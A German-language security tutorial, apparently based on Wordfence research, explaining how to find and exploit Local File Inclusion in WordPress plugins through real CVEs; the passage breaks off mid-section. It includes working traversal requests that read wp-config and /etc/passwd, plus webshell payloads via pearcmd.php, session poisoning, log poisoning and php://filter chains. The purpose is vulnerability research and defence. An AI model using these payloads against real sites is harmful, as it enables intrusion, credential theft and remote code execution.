Share
Beitragsbild zu Local File Inclusion (LFI) in WordPress: So finden Sie Schwachstellen in Plugins und Themes

Local File Inclusion (LFI) in WordPress: So finden Sie Schwachstellen in Plugins und Themes

5. Oktober 2025

Laut dem aktuellen Wordfence-Report tritt eine Local File Inclusion (LFI) auf, wenn benutzergesteuerte Eingaben dazu verwendet werden, einen Pfad zu einer Datei zu konstruieren, die anschließend von der Anwendung eingebunden wird. In WordPress — sowie in PHP-Webanwendungen allgemein — landen dabei Werte aus $_GET, $_POST, $_REQUEST oder anderen nutzerkontrollierten Quellen in Funktionen wie include(), require(), include_once() oder require_once(). Obwohl diese Angriffsart seit langem bekannt ist, bleibt sie im WordPress-Ökosystem relevant: Im Wordfence 2024 Annual WordPress Vulnerability and Threat Report gehörte LFI zu den zehn häufigsten Schwachstellen und belegte den siebten Platz. Dieser Beitrag betrachtet LFI aus der Perspektive von Schwachstellenforschung und Bug Hunting.

In WordPress treten LFIs besonders häufig dann auf, wenn Plugins oder Themes Dateien — etwa Template-Dateien — dynamisch anhand von Anfrageparametern einbinden. Der WordPress-Kern stellt in seiner Sicherheits-API keine speziellen Funktionen bereit, die Datei-Inclusion-Lücken direkt verhindern. Schutz wird stattdessen dadurch erreicht, dass benutzergesteuerte Pfade und Dateinamen nicht unkontrolliert in Include-Funktionen gelangen. In der Praxis jedoch werden oft rohe Eingaben ohne ausreichende Validierung oder Autorisierung an Pfade angehängt; in Kombination mit PHP-Include-Aufrufen kann das zu Datei-Inclusion-Schwachstellen führen. Bei der Ausnutzung solcher LFI-Fehler wird häufig Path Traversal (Directory Traversal) eingesetzt, um vorgesehene Include-Verzeichnisse zu umgehen.

Warum das gefährlich ist: Hauptwirkung von LFI ist die unautorisierte Offenlegung von Dateien — und in vielen Fällen die Ausführung von beliebigem Code, sofern die eingebundene Datei PHP-Code enthält. In WordPress kann dies das Auslesen sensibler Daten oder die Ausführung von PHP‑Code ermöglichen. Unter bestimmten Bedingungen lassen sich LFI-Schwachstellen zudem über Techniken wie Log Poisoning, Session Poisoning oder durch Missbrauch von Hilfs-Skripten (etwa pearcmd.php) mit Remote Code Execution (RCE) verknüpfen; solche Verknüpfungen erfordern jedoch meist spezielles Umgebungswissen und sind in der Regel komplexer als direkte Codeausführungsfehler.

Dieser Leitfaden zeigt, wie LFIs typischerweise in WordPress-Plugins und -Themes auftreten und wie sich solche Schwachstellen mithilfe einer Sink‑to‑Source‑Tracing‑Methodik effizient aufspüren lassen. Außerdem werden Maßnahmen zur Vermeidung von LFI aufgezeigt, damit Entwickler diese Fehler bereits bei der Entwicklung verhindern können.

So funktioniert Local File Inclusion

Local File Inclusion tritt auf, wenn eine Anwendung eine Datei aus dem lokalen Dateisystem über einen Pfad einbindet, den der Benutzer beeinflussen kann. In PHP bedeutet dies in der Regel, dass ein Anfrageparameter an einen Pfad angehängt wird, der dann an die Funktionen include(), require(), include_once()oder require_once() übergeben wird.

Beispiel für eine Schwachstelle:

1
2
// User controls the name of the file that gets included
include($_GET['template']);

Dieses Beispiel ist bewusst einfach gehalten. In echten Plugins oder Themes wird der Pfad oft aus einem Basisverzeichnis und einem Benutzerwert gebildet.

Beispiel aus der Praxis (CVE‑2024‑10871, Kategorie Ajax-Filter)

File: category-ajax-filter/includes/functions.php

Im folgenden anfälligen Code-Schnipsel wird ein Basispfad mit dem vom Benutzer angegebenen Wert $_POST[‚params‘][‚caf-post-layout‘] verkettet.

1
2
3
4
5
6
7
8
9
10
// BASE: TC_CAF_PATH . "includes/layouts/post/"
// USER: $_POST['params']['caf-post-layout'] controls the file name
$caf_post_layout = sanitize_text_field($_POST['params']['caf-post-layout']);
// Build path and include
$filepath = TC_CAF_PATH . "includes/layouts/post/" . $caf_post_layout . ".php";
if (file_exists($filepath)) {
    include_once $filepath;
}

Wir sehen, dass die WordPress-Sanitization-Funktion sanitize_text_field() auf den vom Benutzer angegebenen Wert angewendet wird, aber das reicht nicht aus, um Path Traversal zu verhindern.

Abbildung 1: Verwendung von wp shell zur Visualisierung der Auswirkung von sanitize_text_field() auf Pfad-Traversal-Sequenzen / Grafik Quelle: Wordfence

Mit diesem Code können Benutzer die Eingabe steuern, die an die Funktion include_once() übergeben wird.

1
2
3
4
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=get_filter_posts&params[caf-post-layout]=../../../../../../test

Dies führt zu folgendem Include-Pfad:

1
2
[WEB_ROOT]
/wp-content/plugins/category-ajax-filter/includes/layouts/post/../../../../../../test.php

Um dieses Problem zu beheben, hat der Plugin-Entwickler sanitize_file_name($caf_post_layout) vor dem Erstellen des Pfads angewendet, wodurch die Möglichkeit der Verwendung von Pfadüberquerungssequenzen in der Nutzlast beseitigt und der Wert auf eine PHP-Datei innerhalb des Basispfads beschränkt wird.

Remote File Inclusion (RFI)

RFI basiert auf demselben Prinzip wie LFI, bezieht die einzubindende Datei jedoch aus einer entfernten Quelle, etwa über eine URL. In WordPress kommen RFI-Schwachstellen nur selten vor, da die meisten Hosting-Provider Remote-Einbindungen deaktivieren und das Ökosystem grundsätzlich nicht auf das Einbinden von Remote-PHP über HTTP angewiesen ist.

Begrenzte LFI

Manche Codes versuchen, das Risiko zu reduzieren, indem sie beim Einbinden eine feste Dateierweiterung verwenden, etwa durch das Anhängen von „.php“ an den vom Nutzer angegebenen Dateinamen. Dies verhindert zwar die Einbindung von Nicht-PHP-Dateien, schützt jedoch nicht vor Path Traversal. Angreifer könnten weiterhin unbeabsichtigte PHP-Dateien an anderer Stelle auf dem Server einbinden, wenn das Durchlaufen von Verzeichnissen nicht unterbunden wird. Diese Variante gehört zu den am häufigsten beobachteten LFI-Schwachstellen.

Statische Analyse und dynamische Analyse (kurze Zusammenfassung)

Um LFI-Schwachstellen effektiv aufzuspüren, müssen Sie zwei primäre Methoden zur Schwachstellenanalyse anwenden: die statische Analyse, bei der der Quellcode der Anwendung ohne Ausführung untersucht wird, um deren Logik und Datenfluss zu verstehen, und die dynamische Analyse, bei der die Live-Anwendung durch Interaktion, Debugging und Beobachtung ihrer Reaktionen getestet wird.

Dies sind grundlegende Konzepte für die Schwachstellenforschung in jedem Ökosystem. Wir haben die statische und dynamische Codeanalyse in unserem Leitfaden Wie man XSS-Schwachstellen findet genauer definiert und die Grundlagen der statischen Codeanalyse in unserem Beitrag WordPress-Sicherheitsarchitektur behandelt.

Wenn Sie mit diesen Konzepten nicht gründlich vertraut sind, empfehiehlt Wordfence dringend, diese Abschnitte zu lesen, bevor Sie fortfahren, da ein solides Verständnis beider Konzepte für die im Folgenden behandelten Techniken wichtig ist.

So finden Sie LFI in WordPress

Der beste Ansatz für diese spezielle Art von Schwachstelle ist die statische Analyse. Die Suche nach LFI-Schwachstellen in WordPress-Plugins und -Themes ist im Vergleich zu anderen Arten von Schwachstellen relativ einfach, da es nur eine begrenzte Anzahl von Datei-Inclusion-Sinks gibt (die zuvor erwähnten Funktionen „require“ und „include“). Sie können nach diesen Einbindungen suchen, indem Sie Ihre Suche auf die Verzeichnisse „/wp-content/plugins/<plugin>“ oder „wp-content/themes/<theme>“ beschränken und die Regex-Suchfunktion in Ihrer IDE oder über die Befehlszeile mit einem Tool wie ripgrepverwenden.

Im folgenden Shell-Snippet verwenden wir ripgrep, um im Plugin-Ordner category-ajax-filter nach den Funktionen „include” und „require” zu suchen, wobei wir den regulären Ausdruck (?:^|[;{]

\s*)@?\s*(?:include|require)(?:_once)?\s*\(?\s*[^;]

*\$\{? verwenden.

1
rg -n -t php '(?:^|[;{]\s*)@?\s*(?:include|require)(?:_once)?\s*\(?\s*[^;]*\$\{?' wp-content/plugins/<plugin>

Wir können denselben regulären Ausdruck auch in der Regex-Suchfunktion verwenden, die von den meisten integrierten Entwicklungsumgebungen (IDEs) bereitgestellt wird.

Abbildung 2: Suche nach Include- und Require-Funktionen mit der regulären Ausdruckssuche von VSCode Grafik Quelle: Wordfence

Sobald diese Senken identifiziert sind, müssen Sie lediglich ihre Eingaben zurückverfolgen, um zu sehen, ob sie zu vom Benutzer kontrollierbaren Quellen führen. In WordPress lassen sich anfällige Senken in der Regel auf AJAX-Handler, REST-Routen, Funktions-Callbacks für Hooks und Shortcode-Implementierungen zurückführen.

Schrittweise LFI-Jagdstrategie

  1. Beschränken Sie Ihre Suche auf den Zielcode: wp-content/plugins/<plugin> oder wp-content/themes/<theme> und schließen Sie irrelevante Dateien wie *.map, *.js, *.css
  2. aus. Beginnen Sie mit Senken: Suchen Sie nach include, require, include_onceund require_once, die mit Variablen verwendet werden, vorzugsweise mit einem regulären Ausdruck, um das Signal-Rausch-Verhältnis zu verbessern.
  3. Erstellen Sie eine Checkliste: Notieren Sie sich die Codezeilen und Dateien, in denen Übereinstimmungen vorhanden sind.
  4. Verfolgen Sie die Senken zurück zu den Quellen: Folgen Sie den in den Senken verwendeten Variablen zu $_GET, $_POST, $_REQUEST, REST-Parametern, Shortcode-Attributen usw.
  5. Überprüfen Sie die Schutzvorrichtungen: Allowlists, sanitize_file_name(), basename(), Realpath-Containment und Fähigkeitsprüfungen (über current_user_can()).
  6. Markieren Sie nicht anfällige Pfade: Markieren Sie für jeden Punkt auf Ihrer Checkliste diejenigen, die nicht zu vom Benutzer kontrollierbaren Quellen führen, über ausreichende Schutzmaßnahmen verfügen oder nur für Benutzer mit höheren Berechtigungen wie Administratoren zugänglich sind.
  7. Erstellen Sie einen Proof-of-Concept-Exploit: Verwenden Sie einen Pfadüberquerungswert, um die Verzeichnisflucht zu einer test.php-Datei in wp-content/uploads oder zu einer beliebigen test.txt-Datei auf Ihrem lokalen System zu testen, wenn keine Dateierweiterungsbeschränkung besteht.

Die Verwendung einer systematischen Suchstrategie wie dieser gewährleistet Ergebnisse auf die effizienteste und effektivste Weise.

Beispiele für LFI-bezogene Warnsignale

  • Variable includes ohne Einschränkung (Muster): include $base . $user; oder require $base . $user . ‚.php‘; wobei $user vom Benutzer kontrolliert wird.
  • Verkettung mit fester PHP-Erweiterung: Anhängen von .php an einen Benutzerwert ohne Realpath-Einschränkungsprüfung.
  • Schwache oder falsche Bereinigung: Verwendung von Funktionen wie sanitize_text_field() für Dateinamen/Pfade anstelle von sanitize_file_name().
  • Fehlende Zulassungsliste: kein fester Satz zulässiger Vorlagen/Layouts/Dateien; akzeptiert beliebige Namen.

Wenn Sie auf einen Code-Pfad stoßen, der anfällig erscheint, können Sie Ihre Erkenntnis durch eine dynamische Analyse mit einem Proof-of-Concept-Exploit untermauern.

Proof-of-Concept-Tipps

  • Zählen Sie die Segmente von der Include-Basis plus alle zusätzlichen Ordner bis zum Web-Stammverzeichnis und erstellen Sie dann entsprechende ../-Sequenzen. Wenn der Code .phpanhängt, lassen Sie die Dateierweiterung im anfälligen Parameter weg, wenn Sie die Nutzlast bilden (z. B. ../../test).
  • Wenn die Traversierung blockiert ist, der Benutzer jedoch eine Taste steuert, überprüfen Sie, ob eine Umgehung der Zulassungsliste (Groß-/Kleinschreibung, gemischte Trennzeichen) oder eine fehlende Verzeichnis-Einschränkung vorliegt.

Profi-Tipp: Überschreiten Sie Traversierungssequenzen: Anstatt zu zählen, wie viele ../ erforderlich sind, um die Wurzel (/) zu erreichen, setzen Sie Ihrem Ziel eine absurde Anzahl von ../ vor, damit die Normalisierung alle Extras zusammenfasst. Dies garantiert, dass Sie nach der Auflösung des Pfades bei der Wurzel beginnen, solange die Traversierung nicht blockiert ist (z. B. durch sanitize_file_name() oder eine realpath-basierte Containment-Prüfung).

Beispiele aus der Praxis

CVE-2024-10871 – Kategorie Ajax Filter <= 2.8.2: Nicht authentifizierte LFI über params[caf-post-layout]

Das Plugin „Category Ajax Filter” hat eine nicht authentifizierte lokale Dateieinbindung über die get_filter_posts AJAX-Aktion offengelegt. Der Handler (get_filter_posts() Funktion) akzeptiert einen params[caf-post-layout] Wert und verwendet ihn, um einen Pfad zu einer Layout-Datei zu erstellen, die zur Laufzeit eingebunden wird.

Quelle bis Senke Trace

Grafik Quelle: Wordfence

Anfälliger Code

  • category-ajax-filter/includes/functions.php:134, 180–184 (v2.8.2)
1
2
3
4
5
6
7
8
$caf_post_layout = sanitize_text_field($_POST['params']['caf-post-layout']);
...
if ($caf_post_layout && strlen($caf_post_layout) > 11) {
    $filepath = TC_CAF_PATH . "includes/layouts/post/" . $caf_post_layout . ".php";
    if (file_exists($filepath)) {
        include_once $filepath; // sink
    }
}

Anfrage mit Nutzlast

1
2
3
4
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=get_filter_posts&params[caf-post-layout]=../../../../../../../../../../var/www/html/wp-config

CVE-2024-10571 – Chartify – WordPress-Diagramm-Plugin <= 2.9.5: Nicht authentifizierte LFI über Quelle

Chartify ermöglichte eine nicht authentifizierte lokale Dateieinbindung über einen Parameter, der zur Bestimmung einer Diagrammquelle verwendet wurde, die einen Vorlagenpfad beeinflusste. Der Parameter war nicht auf eine Zulassungsliste oder ein Verzeichnis beschränkt, wodurch unbeabsichtigte Einbindungen möglich waren.

Quelle zu Senke Trace

Grafik Quelle: Wordfence

Anfälliger Code

  • chart-builder/includes/class-chart-builder.php:235
1
2
3
// AJAX action (unauthenticated via nopriv hook)
$this->loader->add_action( 'wp_ajax_ays_chart_admin_ajax', $plugin_admin, 'ays_admin_ajax' );
$this->loader->add_action( 'wp_ajax_nopriv_ays_chart_admin_ajax', $plugin_admin, 'ays_admin_ajax' );
  • chart-builder/admin/class-chart-builder-admin.php:565
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// AJAX hook callback function
public function ays_admin_ajax(){
    $response = array("status" => false);
    $function = isset($_REQUEST['function']) ? sanitize_text_field( $_REQUEST['function']) : null;
    if($function !== null){
        if( is_callable( array( $this, $function ) ) ){
            $response = $this->$function(); // calls function from request
            ob_end_clean();
            $ob_get_clean = ob_get_clean();
            echo json_encode( $response );
            wp_die();
        }
    }
    ob_end_clean();
    $ob_get_clean = ob_get_clean();
    echo json_encode( $response );
    wp_die();
}
  • chart-builder/admin/class-chart-builder-admin.php:415, 506
1
2
3
4
5
6
7
8
9
10
11
12
13
public function display_plugin_charts_page(){
...
switch ($action) {
    case 'add': //exploit request uses the 'add' action
        include_once('partials/charts/actions/chart-builder-charts-actions.php');
        break;
    case 'edit':
        include_once('partials/charts/actions/chart-builder-charts-actions.php');
        break;
    default:
        include_once('partials/charts/chart-builder-charts-display.php');
    }
}
  • chart-builder/admin/partials/charts/actions/chart-builder-charts-actions-options.php:349–351
1
2
3
4
5
6
7
8
if ($action === "add") {
// Chart source type (user-controlled)
    $chart_source_type = isset($_GET['source']) ? sanitize_text_field($_GET['source']) : 'google-charts';
    // Chart type
    $source_chart_type = isset($_GET['type']) ? sanitize_text_field($_GET['type']) : 'pie_chart';
} else {
    ...
}
  • chart-builder/admin/partials/charts/actions/chart-builder-charts-actions.php:70–73
1
2
3
4
5
6
if (!($id === 0 && !isset($_GET['type']) && !isset($_GET['source']))) {
// sink: user-influenced path leads to LFI
    require_once( CHART_BUILDER_ADMIN_PATH . "/partials/charts/actions/partials/chart-builder-charts-actions-" . stripslashes($chart_source_type) . ".php" );
} else {
    require_once( CHART_BUILDER_ADMIN_PATH . "/partials/charts/chart-builder-charts-display.php" );

Beispiel mit Nutzlast

1
2
3
4
5
POST /wp-admin/admin-ajax.php?page=chart-builder&type=chart-js&source=xx/../../../../../../../../uploads/exploit&action=add HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
action=ays_chart_admin_ajax&function=display_plugin_charts_page

Resultierender Include-Pfad

1
2
<CHART_BUILDER_ADMIN_PATH>/partials/charts/actions/partials/chart-builder-charts-actions-xx/../../../../../../../../uploads/exploit.php
-> …/wp-content/uploads/exploit.php

Test-Nutzlast unter wp-content/uploads/exploit.php

1
<?php file_put_contents(__DIR__ . '/log.txt', sprintf("[%s] Exploit!\n", date('Y-m-d H:i:s')), FILE_APPEND);

CVE-2024-2411 – MasterStudy LMS <= 3.3.0: Nicht authentifizierte LFI über modal

Das MasterStudy LMS-Plugin hat eine nicht authentifizierte lokale Dateieinbindung über die stm_lms_load_modal AJAX-Aktion offengelegt. Der AJAX-Handler (Callback-Funktion) akzeptierte einen vom Benutzer bereitgestellten modalen Parameter und verwendete ihn, um einen Vorlagenpfad zu erstellen, der letztendlich ohne eine Zulassungsliste oder Verzeichnisbeschränkung eingebunden wurde.

Quelle bis Senke Trace

Grafik Quelle: Wordfence

Anfälliger Code

  • masterstudy-lms-learning-management-system/_core/lms/classes/helpers.php:7–8
1
2
add_action( 'wp_ajax_stm_lms_load_modal', 'STM_LMS_Helpers::load_modal' );
add_action( 'wp_ajax_nopriv_stm_lms_load_modal', 'STM_LMS_Helpers::load_modal' );
  • masterstudy-lms-learning-management-system/_core/lms/classes/helpers.php:31–45
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function load_modal() {
    check_ajax_referer( 'load_modal', 'nonce' );
    if ( empty( $_GET['modal']) ) {
        die;
    }
    $r = array();
    // Source: user-controlled modal name under 'modals/'
    $modal       = 'modals/' . sanitize_text_field( $_GET['modal']);
    $params      = ( ! empty( $_GET['params']) ) ? json_decode( stripslashes_deep( $_GET['params']), true ) : array();
    $r['params'] = $params;
    $r['modal'] = STM_LMS_Templates::load_lms_template( $modal, $params ); // sink via include
  • masterstudy-lms-learning-management-system/_core/lms/classes/templates.php:117–126 (Pfadkonstruktion)
1
2
3
4
5
6
7
8
public static function locate_template( $template_name, $stm_lms_vars = array() ) {
    // Build '/stm-lms-templates/' + user-influenced name + '.php'
    $template_name = '/stm-lms-templates/' . $template_name . '.php';
    $template_name = apply_filters( 'stm_lms_template_name', $template_name, $stm_lms_vars );
    $lms_template  = apply_filters( 'stm_lms_template_file', STM_LMS_PATH, $template_name ) . $template_name;
    return ( locate_template( $template_name ) ) ? locate_template( $template_name ) : $lms_template;
}
  • masterstudy-lms-learning-management-system/_core/lms/classes/templates.php:138–146 (inklusive sink)
1
2
3
4
5
6
7
8
9
public static function load_lms_template( $template_name, $stm_lms_vars = array() ) {
    ob_start();
    extract( $stm_lms_vars ); // phpcs:ignore
    $tpl = self::locate_template( $template_name, $stm_lms_vars );
    if ( file_exists( $tpl ) ) {
        include $tpl; // sink
    }
    return apply_filters( "stm_lms_{$template_name}", ob_get_clean(), $stm_lms_vars );
}

Beispiel mit Nutzlast

Nicht authentifizierte LFI, die die pearcmd.php-Technik nutzt, um eine Remote-Codeausführung zu erreichen. Erfordert einen gültigen Nonce für load_modal.

1
2
3
GET /wp-admin/admin-ajax.php?action=stm_lms_load_modal&nonce=<load_modal_nonce>&modal=
../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=shell_exec($_GET[0]);?>+/var/www/html/evil.php HTTP/1.1
Host: target

Resultierender Include-Pfad

<STM_LMS_PATH>/stm-lms-templates/modals/../../../../../../../../../../usr/local/lib/php/pearcmd.php

Webshell unter /var/www/html/evil.php

1
<?=shell_exec($_GET[0]);?>

Hinweis: Der Wert von modal steuert den Include-Pfad. Tokens nach dem & in der Nutzlast sind separate Abfrageparameter, die pearcmd.php über $argv als Argumente interpretiert, wenn register_argc_argv in php.ini aktiviert ist.

LFI-zu-RCE-Ausnutzungstechniken

PHP-Session-Poisoning

Wenn eine Website oder ein Plugin PHP-Sessions verwendet und die Session-Dateien von PHP gelesen werden können und ihr Speicherort vorhersehbar ist, kann ein Angreifer manchmal PHP-Code in einer Session-Datei speichern und dann eine LFI verwenden, um diese Session-Datei einzubinden. Durch das Einbinden einer Session-Datei, die <?php ... ?> enthält, wird der Code innerhalb dieser Tags ausgeführt.

Technik Voraussetzungen

  • Die Anwendung verwendet tatsächlich native PHP-Sessions (session_start() in Plugin, Theme oder benutzerdefiniertem Code). Der WordPress-Kern startet standardmäßig keine Sessions, aber viele Plugins tun dies.
  • Der Pfad zum Speichern der Session (der Wert von session.save_path in php.ini) ist für den PHP-Benutzer lesbar (z. B. /tmp oder ein benutzerdefiniertes Verzeichnis) und kann über die LFI erreicht werden.
  • Der Angreifer kann die Sitzungs-ID festlegen oder vorhersagen (in der Regel über das PHPSESSID-Cookie) und bewirken, dass vom Benutzer kontrollierte Daten in Rohform in die Sitzung geschrieben werden.

So funktioniert es (auf hoher Ebene)

  • Wählen Sie einen bekannten oder kontrollierten PHPSESSID-Wert aus, veranlassen Sie die Anwendung, die Sitzung zu erstellen oder zu aktualisieren, und lassen Sie benutzergesteuerte Inhalte mit <?php ... ?> in die Sitzungsdatei schreiben (z. B. über ein Plugin, das Anforderungsdaten in der Sitzung speichert).
  • Verwenden Sie die LFI, um den Pfad der Sitzungsdatei einzufügen, z. B. /tmp/sess_<Ihre_Sitzungs-ID>.

WordPress-Kontext

Die Verwendung von Sitzungen ist plugin-spezifisch. Einige betroffene Websites schreiben nur kleine Datenmengen in Sitzungen, und viele Hosts konfigurieren Sitzungspfade, die von PHP nicht gelesen werden können. Behandeln Sie diese Technik als stark umgebungsabhängig.

Beispiel (CVE-2025-2294 – Kubio AI Page Builder <= 2.5.1)

  • Anforderungen
    • LFI vorhanden (nicht authentifiziert): __kubio-site-edit-iframe-classic-template beeinflusst die Vorlagenauswahl.
    • PHP session.upload_progress.enabled=1 (Standard in vielen Linux/Apache-Builds).
  • Minimale LFI-Prüfung
1
2
GET /?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=/../../../../../../../../etc/passwd HTTP/1.1
Host: target
  • Ablauf des Session Poisoning (zusammengefasst)
  1. Wählen Sie eine Sitzungs-ID: PHPSESSID=nvhpwklshjfs.
  2. Starten Sie eine Upload-Anfrage, die Angreifer-Daten in den Sitzungsfortschritt schreibt (Schlüssel: PHP_SESSION_UPLOAD_PROGRESS). Die Nutzlast enthält PHP-Code.
  3. Fügen Sie parallel dazu die Sitzungsdatei über die LFI ein und überschreiten Sie die Traversierung, um sie auf root zu normalisieren:
    • Zieldatei: /var/lib/php/sessions/sess_nvhpwklshjfs (Passen Sie den Pfad je nach Host an).

Wichtige Anfragen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1) LFI include of session file (repeat while upload is in progress)
GET /?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=/../../../../../../../../../../var/lib/php/sessions/sess_nvhpwklshjfs HTTP/1.1
Host: target
# 2) Concurrent upload with upload-progress payload
POST / HTTP/1.1
Host: target
Cookie: PHPSESSID=nvhpwklshjfs
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ZZ<?php phpinfo(60); die(); ?>Z
--BOUND
Content-Disposition: form-data; name="f"; filename="dummy.txt"
Content-Type: application/octet-stream
...1+ MB dummy content...
--BOUND--

Verweis auf den anfälligen Code

kubio/lib/integrations/third-party-themes/editor-hooks.php: Der Wert der Anfrage __kubio-site-edit-iframe-classic-template wird ohne strenge Zulassungsliste an locate_template() übergeben.

1
2
3
4
5
6
7
8
9
10
11
12
13
function kubio_hybrid_theme_load_template( $template ) {
    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
    $template_id = Arr::get( $_REQUEST, '__kubio-site-edit-iframe-classic-template', false );
    if ( ! $template_id ) {
        return $template;
    }
    $new_template = locate_template( array( $template_id ) );
    if ( '' !== $new_template ) {
        return $new_template; // include happens in the template load path
    }
    return $template;
}

Hinweise

  • Der Exploit nutzt einen kurzen Wettlauf: Include-Anfragen werden wiederholt, während der Upload aktiv ist, sodass die PHP-Nutzlast beim Einbinden in der Sitzungsdatei vorhanden ist.
  • Ersetzen Sie PHPSESSID, den Sitzungspfad und die Routen entsprechend der Umgebung. Wenn die LFI .phpanhängt, lassen Sie dies im Parameter weg (zielen Sie auf den rohen Sitzungsdateinamen).
  • Abhilfe: Beschränken Sie die Vorlagennamen auf eine kleine Zulassungsliste, wenden Sie sanitize_file_name() an und erzwingen Sie realpath() Containment vor jedem Include.

pearcmd.php

Auf Systemen, auf denen PEAR installiert ist, kann pearcmd.php über eine LFI missbraucht werden, um eine PHP-Datei mit vom Angreifer kontrollierten Inhalten zu erstellen. Die klassische Technik ruft pearcmd.php mit config-create auf, sodass die generierte Datei PHP-Code enthält. Der Angreifer bindet diese Datei dann über dieselbe LFI ein, um Code auszuführen.

Technik Voraussetzungen

  • pearcmd.php existiert auf dem Host und ist von PHP aus lesbar. Die Pfade variieren je nach Distribution (z. B. /usr/share/php/pearcmd.php).
  • Die LFI ermöglicht Pfadüberquerungen außerhalb des Plugin- oder Theme-Verzeichnisses.
  • register_argc_argv muss auf dem Server aktiviert sein.

So funktioniert es

LFI zu .../pearcmd.php&+config-create+/<?=phpinfo();?>+/path/evil.php dann /path/evil.php über dieselbe LFI einbinden.

WordPress-Kontext

Wir haben öffentliche Forschungsergebnisse und Payloads für diese Technik gesehen. In unserem Datensatz verwiesen mehrere LFI-Einreichungen auf PEAR-basierte Ansätze als mögliche Kette in bestimmten Umgebungen. Viele WordPress-Hosts liefern PEAR nicht mit, daher ist dies auch umgebungsabhängig.

Log Poisoning

Schreiben Sie PHP-Code in eine Log-Datei (z. B. Webserver-Zugriffs- oder Fehlerprotokolle oder ein plugin-spezifisches Protokoll) und fügen Sie diese Log-Datei dann über ein LFI ein, um den Code auszuführen.

Technik Voraussetzungen

  • Eine Log-Datei ist vom Webserver beschreibbar und von PHP lesbar, und ihr Pfad ist über das LFI erreichbar.
  • Der Angreifer kann mindestens ein protokolliertes Feld (z. B. User-Agent) so beeinflussen, dass es <?php ... ?> enthält.
  • Die LFI ist nicht auf .php-Dateien beschränkt.

So funktioniert es (auf hoher Ebene)

  • Senden Sie eine Anfrage an WordPress, die PHP-Code in einem Anfrageelement enthält, das von der Protokolldatei des Webservers gespeichert wird (z. B. der User-Agent HTTP-Header).
  • Nutzen Sie die Datei-Inclusion-Sicherheitslücke, um die Logdatei des Webservers einzubinden und so den PHP-Code aus der vorherigen Anfrage auszuführen.

Testen

In vielen verwalteten Umgebungen befinden sich Webserver-Logs außerhalb der von PHP lesbaren Pfade. Suchen Sie nach plugin-spezifischen Logs, die in den Ordnern wp-content oder plugin erstellt wurden.

Beispiel (Include Me <= 1.2.1 – LFI zu RCE über Log-Poisoning)

Kontext

Das Include Me-Plugin ermöglichte Pfadüberquerung/lokale Dateieinbindung. Reporter stellten eine Verkettung zu RCE fest, indem sie ein lesbares Protokoll vergifteten und es über die LFI einbanden.

Schritte

    1. Bestätigen Sie die LFI-Pfadüberquerung mit einem harmlosen Lesevorgang.
    2. Vergiften Sie ein Protokoll mit PHP-Payload unter Verwendung eines kontrollierbaren Feldes, z. B. User‑Agent:
1
2
3
                  GET / HTTP/1.1
Host: target
User-Agent: <?php echo 'OK'; system($_GET[c] ?? ''); ?>

Fügen Sie das Protokoll über LFI ein. Häufige Ziele (variieren je nach Host):

  • /var/log/apache2/access.log
  • /var/log/nginx/access.log
  • wp-content/debug.log (if WP_DEBUG_LOG is enabled)
1
2
GET /?vuln_param=../../../../../../../../var/log/apache2/access.log&c=id HTTP/1.1
Host: target

Hinweise

  • Die Pfade unterscheiden sich je nach Plattform und Hosting erheblich. Plugin-spezifische Protokolle in wp-content sind oft über PHP besser erreichbar als Webserver-Protokolle.
  • Wenn die LFI .php anhängt, wird das Log Poisoning nur ausgeführt, wenn der Dateiname des Protokolls ebenfalls auf .php endet.

PHP-Filter

Der php://filter-Wrapper kann mit LFI verwendet werden, um den Inhalt von PHP-Dateien durch Base64-Kodierung zu lesen und so die Ausführung zu umgehen. Dies ist in erster Linie eine Technik zur Offenlegung von Informationen.

Technik Voraussetzungen

  • In php.ini muss allow_url_include auf On gesetzt sein (Standard ist Off bei modernen PHP-Installationen), wenn der Ressourcenwert eine Remote-URL ist. Dies schließt data://-Streams ein.
  • Wenn die Zeichenfolge .php an vom Benutzer angegebene Include-Werte angehängt wird, wird die Nutzlast beschädigt und funktioniert nicht mehr.

So funktioniert es

php://filter/convert.base64-encode/resource=/var/www/html/wp-config.php, wobei das Include die Base64-Ausgabe ausgibt, die vom Tester decodiert werden kann.

Wir können auch den data://text/plain-Wrapper zusammen mit dem php://filter/convert.base64-decode/resource=-Wrapper verketten, um beliebigen PHP-Code auszuführen. Dazu wird der resource-Wert auf eine Base64-kodierte PHP-Nutzlast gesetzt, der das Präfix data://text/plainvorangestellt ist. [1]

Base64-Kodierung einer einfachen PHP-Webshell:

1
echo -n "<?php echo \"<pre>\"; system(\$_GET['cmd']); echo \"</pre>\"; ?>" | base64 -w 0

Verkettet die Wrapper php://filter/convert.base64-decode/resource= und data://text/plain:

1
php://filter/convert.base64-decode/resource=data://text/plain,PD9waHAgZWNobyAiPHByZT4gIjsgc3lzdGVtKCRfR0VUWydjbWQnXSk7IGVjaG8gIjwvcHJlPiAiOyA/Pg==&cmd=id

[1] https://infosecwriteups.com/exploiting-file-inclusion-from-dot-dot-slash-to-rce-using-php-sessions-log-poisoning-and-4db1bdf8ad77#5d5a

Klassische LFI

In bestimmten Fällen können Sie möglicherweise eine Datei hochladen, die PHP-Code enthält (z. B. eine „.jpg“-Datei mit <?php … ?> darin), und dann eine LFI verwenden, um diese Datei einzubinden. Wenn PHP die Datei einbindet, wertet es die PHP-Segmente unabhängig von der Erweiterung aus.

Technische Voraussetzungen

  • Sie können eine Datei mit PHP-Inhalten an einem vorhersehbaren Speicherort auf der Festplatte ablegen (z. B. über eine Plugin-Avatar-Upload-Funktion, die Inhalte nicht ausreichend validiert/umschreibt oder unsichere Typen zulässt).
  • Der LFI-Sink akzeptiert Pfade, die die hochgeladene Datei erreichen können.
  • Der Include-Code hängt nicht zwingend eine feste Endung (wie „.php“) an.

So funktioniert es

